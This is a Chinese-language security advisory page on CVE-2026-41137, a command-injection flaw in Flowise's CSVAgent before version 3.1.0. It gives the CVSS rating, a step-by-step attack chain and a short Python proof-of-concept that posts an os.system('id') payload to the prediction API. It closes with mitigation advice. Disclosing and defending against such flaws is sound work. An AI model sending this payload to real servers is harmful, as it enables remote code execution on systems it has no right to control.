IPBUF安全漏洞报告
English
CVE-2026-41137 CVSS 8.8 高危

CVE-2026-41137 Flowise命令注入漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-41137
漏洞类型
命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Flowise

相关标签

命令注入RCEFlowiseLLMCVSS:8.8

漏洞概述

Flowise是一个用于构建定制化大语言模型流程的拖放式用户界面。在3.1.0版本之前,其CSVAgent组件允许用户提供自定义的Pandas CSV读取代码。由于缺乏足够的输入清理和消毒,攻击者可以构造恶意的命令注入载荷。这些载荷会被服务器插值并直接执行,从而导致远程代码执行风险。该漏洞可能被利用来完全控制受影响的服务器,建议用户尽快升级。

技术细节

该漏洞的根本原因在于Flowise的CSVAgent功能中存在不安全的输入处理机制。具体而言,CSVAgent允许用户传入自定义的Pandas CSV读取代码或参数。应用程序未能对这些用户输入的代码参数进行严格的过滤或沙箱隔离,直接将其拼接到执行上下文中进行插值处理。攻击者可以通过发送特制的HTTP请求,在CSV读取参数中注入系统命令(如利用Python的`os.system`或`subprocess`模块)。由于服务端执行权限的原因,一旦注入成功,攻击者即可在服务器上下文中执行任意命令。CVSS向量显示攻击复杂度低(AC:L),无需用户交互(UI:N),且仅需低权限(PR:L),这使得该漏洞极具危险性。

攻击链分析

STEP 1
步骤1:侦察
攻击者识别出目标运行的是Flowise应用,且版本低于3.1.0。
STEP 2
步骤2:访问接口
攻击者访问Flowise的Web界面或API接口,定位到使用CSVAgent组件的聊天流程。
STEP 3
步骤3:构建载荷
攻击者构造包含命令注入代码的恶意数据,旨在绕过基础检查并触发系统命令执行。
STEP 4
步骤4:发送请求
攻击者向服务器发送包含恶意载荷的HTTP POST请求。
STEP 5
步骤5:执行命令
服务器端CSVAgent在处理CSV读取代码时,对载荷进行插值并执行,攻击者成功在服务器上运行任意命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-41137 (Conceptual) # This script demonstrates how a malicious payload might be sent to the vulnerable CSVAgent endpoint. import requests import json target_url = "http://target-flowise-instance:3000/api/v1/prediction/{chatflow_id}" # The payload attempts to execute a shell command (e.g., 'id' or 'whoami') # by exploiting the lack of sanitization in the CSV reading code. malicious_payload = "__import__('os').system('id')" headers = { "Content-Type": "application/json" } # Constructing the data payload for the CSVAgent # The vulnerable field is typically where the CSV code or file path is defined. data = { "question": "Execute test", "overrideConfig": { "nodeConfig": { "csvAgent": { # Interpolating the malicious command "customCode": malicious_payload } } } } try: response = requests.post(target_url, headers=headers, data=json.dumps(data)) if response.status_code == 200: print("Request sent successfully. Check server for command execution.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Flowise < 3.1.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用涉及CSVAgent的聊天流程或相关API端点。管理员应检查服务器日志,查找是否存在异常的进程创建或Python代码执行记录,并排查系统是否已被入侵。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表